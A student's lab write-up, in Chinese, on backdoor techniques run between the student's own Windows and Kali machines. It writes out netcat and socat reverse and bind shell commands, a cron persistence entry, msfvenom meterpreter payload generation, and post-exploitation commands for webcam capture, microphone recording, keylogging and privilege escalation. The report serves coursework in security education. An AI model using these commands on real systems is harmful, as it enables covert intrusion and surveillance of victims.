Exp2 後門原理與實踐 20164302 王一帆

1 實驗內容

1.1實驗主要內容

(1)使用netcat獲取主機操做Shell,cron啓動 (0.5分)linux

(2)使用socat獲取主機操做Shell, 任務計劃啓動 (0.5分)web

(3)使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell(0.5分)shell

(4)使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權 (2分)vim

(5)可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell(1分)加份內容一併寫入本實驗報告。windows

1.2 基礎問題

 1.2.1 例舉你能想到的一個後門進入到你係統中的可能方式?

            可能會在一些非正規的網站下載資源,下載獲得的文件裏面可能會包含有後門;在釣魚網站上點擊不安全的連接;陌生人發來的郵件中,不明的文件或者連接。安全

1.2.2 例舉你知道的後門如何啓動起來(win及linux)的方式?

           在windows中能夠經過直接雙擊後門程序執行,也能夠像實驗中經過任務計劃程序啓動後門,若是它添加到了自啓動項目,在開機的時候會啓動,若是它跟其餘軟件捆綁在一塊兒,運行其餘軟件也會一塊兒被啓動;在linux中能夠像實驗中,經過cron指令制定任務來啓動程序。tcp

1.2.3 Meterpreter有哪些給你映像深入的功能?

          獲取攝像頭的照片,還有記錄鍵盤的功能很深入,經過meterpreter的功能,我本身體驗了一回在電影斯諾登檔案裏面,通過別人電腦的攝像頭觀察到的畫面,使人震驚,我決定要把本身電腦的攝像頭也矇住;文件記錄功能,我作實驗的時候,嘗試了一次在文本文檔裏輸入,又不太相信任何鍵盤輸入都能記錄,當時作實驗的時候正在截圖,而後就試了一下在另存爲的對話框裏重命名,沒想也所有記錄了,真的很強大。編輯器

1.2.4 如何發現本身有系統有沒有被安裝後門?

          最能想到就是用如今市面上各類各樣的殺毒軟件進行查殺,由於在作實驗的時候把防火牆和殺毒軟件關了,因此後門程序一直在,可是我發現,當作完實驗把殺毒軟件一開,後門程序就很容易被刪除了;還能夠經過觀察註冊表什麼的,有沒有back door有關信息來發現。工具

1.3 實驗準備

1.3.1 獲取IP地址

在Windows的cmd中使用命令  ipconfig 查看IP地址。網站

由圖可知,Windows的IP地址爲192.168.1.212。

在linux的終端中使用命令 ifconfig 查看IP地址。

由圖可知,linux的IP地址爲192.168.1.121。

1.3.2 Windows得到linux的shell

Windows用命令 ncat.exe -l -p 4302 監聽4302端口,等待其餘機器鏈接該端口。

kali使用命令 nc 192.168.28.166 4302 -e /bin/sh 反彈鏈接Windows,提供本身的shell。

Windows得到了linux的shell,能夠執行linux的相關命令,例ls。

1.3.3 linux得到Windows的shell

與上面的步驟類似,在linux中用命令 nc -l -p 4302 設置監聽本地4302端口。Windows使用命令 ncat.exe -e cmd.exe 192.168.1.121 4302 反彈鏈接linux,提供本身的shell。

linux得到Windows的shell,能夠執行相關命令,例dir。

1.3.4 傳輸數據

Windows監聽4302端口 ncat.exe -l 4302 ,linux鏈接Windows的4302端口 nc 192.168.1.212 4302 ,而後兩臺機器就能夠互相傳輸信息了。

1.3.5 實驗環境

爲了方便以後實驗中後門程序的運行,提早關閉Windows主機上的殺毒軟件和防火牆。

2 實驗步驟

2.1 使用netcat獲取主機操做Shell,cron啓動

cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護進程,與windows下的計劃任務相似,當安裝完成操做系統後,默認會安裝此服務工具,而且會自動啓動cron進程,cron進程每分鐘會按期檢查是否有要執行的任務,若是有要執行的任務,則自動執行該任務。

crontab文件的含義:

用戶所創建的crontab文件中,每一行都表明一項任務,每行的每一個字段表明一項設置,它的格式共分爲六個字段,前五段是時間設定段,第六段是要執行的命令段,格式以下:minute hour day month week command

2.1.1 設置定時啓動

用指令 crontab -e 編輯定時任務。在第一次編輯的時候,會有提示選擇編輯器,選擇「3」,利用vim編輯器進行編輯。

點擊「i」進入編輯模式,在最後一行添加 33 * * * * /bin/netcat 192.168.1.212 4302 -e /bin/sh ,意思是每小時的33分會反向鏈接Windows的4302端口。

按Esc鍵退出編輯模式,輸入 :wq 保存並退出。

截個圖,等個3分鐘,到33分後,Windows得到linux的shell,可執行相關命令,例ls。

2.2 使用socat獲取主機操做Shell, 任務計劃啓動

在Windows下,打開:控制面板->管理工具->任務計劃程序。

 在操做選項中,選擇「建立任務」,填寫任務名稱20164302。

新建觸發,選擇開始任務時間爲:工做站鎖定時。

新建操做,選擇啓動的程序爲socat.exe,參數項填寫 tcp-listen:4302 exec:cmd.exe,pty,stderr ,含義爲:把cmd.exe綁定到端口號,同時把cmd.exe的stderr重定向到stdout上。

建立完成以後,選擇建立的任務點擊操做選項的「運行」,任務的狀態成爲「正在運行」。

在kali終端輸入指令 socat - tcp:192.168.1.121:4302 

2.3 使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

2.3.1 生成後門

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.121 LPORT=4302 -f exe > 20164302_backdoor.exe

注:這裏設置的主機IP和端口均爲linux的IP、端口

2.3.2 將生成的後門傳送到Windows主機上

在Windows上運行 ncat.exe -lv 6915 > 20164302_backdoor.exe 指令,等待接受後門程序。

圖中前兩行是Windows正在監聽,後兩行是在kali上運行 nc 192.168.1.212 6915 < 20164302_backdoor.exe 命令,將後門程序傳輸到Windows主機上在顯示的。

PS:這裏忽然想試一下從其餘湍口傳輸可不能夠,用的端口號是高中的學號,也成功完成了後門程序的傳輸。

2.3.3 進入msf控制檯進行配置

在kali上使用 msfconsole 命令,進入msf控制檯。

use exploit/multi/handler              //進入handler模塊

set payload windows/meterpreter/reverse_tcp   //對應生成的後門程序設置payload

 輸入 show options 查看利用模塊的設置信息。

設置主機IP和端口

set LHOST 192.168.1.121              //配置模塊的設置信息,這裏是設置本主機kali的IP

set LPORT 4302                   //設置本主機的端口

再次使用 show options 查看設置。

輸入 exploit 運行模塊。

在Windows上運行後門程序20164302_backdoor.exe。

查看kali,發現得到了Windows主機的鏈接,獲得了遠程控制的shell,可執行相關命令,例dir。

2.4 使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

2.4.1 獲取目標主機音頻、攝像頭、擊鍵內容等內容

獲取目標主機的音頻和截屏內容

record_mic    //音頻
 screenshot    //截屏

 使用命令 webcam_snap 能夠獲取攝像頭所拍攝的照片。

這就是得到的攝像頭照片,簡直是猝不及防,本年度最囧自拍。。。。

在kali上輸入指令 keyscan_start ,開始記錄鍵盤記錄,而後在Windows上輸入一些字母,以後,再切換到kali,輸入指令 keyscan_dump ,就能夠讀取鍵盤記錄。

第一次的時候,沒有在Windows在進行任何輸入,就直接keyscan_dump了,而後,就什麼也沒有輸出。

以後又進行了嘗試,在Windows上新建了一個文本文檔,隨便輸入了一串字符。

能夠看到輸出的內容是一致的,至於「38」,是想看一下其餘形式的鍵盤記錄,這是當時在截圖,對圖片進行另存爲操做,在對話框中輸入的編號,也成功記錄了。

2.4.2 提權

 先使用 getuid 指令查看當前用戶,再使用 getsystem 指令進行提權。 而後發現提權失敗。。。還不甘心的多試了幾回

而後問了一下咱們小組的組長,他也有一樣的問題,上網搜索,發現須要以管理員身份運行後門程序,才能提權。

因此,exit一下,到後門程序所在文件夾ncat,找到20164302_backdoor.exe,右鍵,以管理員身份運行,而後再試一次,成功提權。

3 實驗感想

       經過本次的實驗,對於後門的原理有了進一步的認識,對後門的造成、植入並利用後門進行攻擊等操做有了初步的瞭解,本身的水平還不夠高,因此實驗仍是參照學長學姐和其餘同窗的博客進行的,雖然實驗作完了但實驗步驟中一些詳細內容我尚未理解,須要繼續花時間弄懂,總體感受上,此次的實踐內容比上次的實驗稍微輕鬆了一些,也比較好玩,過程當中充滿了樂趣,但願經過一次次有趣的實驗,不只能學到東西,也能提升本身對這門課的興趣,把這門課真正的學好。

相關文章
相關標籤/搜索